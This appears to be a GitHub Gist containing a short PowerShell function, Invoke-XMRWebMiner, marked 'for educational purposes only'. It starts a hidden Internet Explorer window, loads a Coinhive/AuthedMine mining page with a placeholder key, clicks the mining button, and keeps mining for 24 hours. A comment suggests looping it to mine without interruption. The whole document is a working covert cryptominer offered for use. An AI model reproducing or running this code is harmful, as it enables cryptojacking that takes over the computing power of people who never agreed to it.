Created
January 16, 2018 09:18
-
-
Save P3t3rp4rk3r/b80133078c24c3e700b3103f872aed73 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function Invoke-XMRWebMiner { | |
<#-- | |
FOR EDUCATIONAL PURPOSES ONLY | |
Will start a hidden Internet Explorer window and mine through coinhive in the background. | |
--#> | |
$ie=New-Object -comobject InternetExplorer.Application | |
$ie.visible = $False | |
$ie.Silent = $true | |
$ie.navigate('https://authedmine.com/media/miner.html?key=<enter your coinhive key>') | |
while($ie.busy){Start-Sleep 3} | |
$link = @($ie.Document.documentElement.getElementsByClassName(("mining-button"))) | |
$link.click() | |
while ($ie.Busy) { | |
# CoinHive will only run your miner for 24hrs at a time. So, we time it and cleanly exit internet explorer after 24 hours. | |
# You could loop this to restart if you wanted to mine uninterrupted. | |
[System.Threading.Thread]::Sleep(86400) | |
} | |
$ie.quit | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment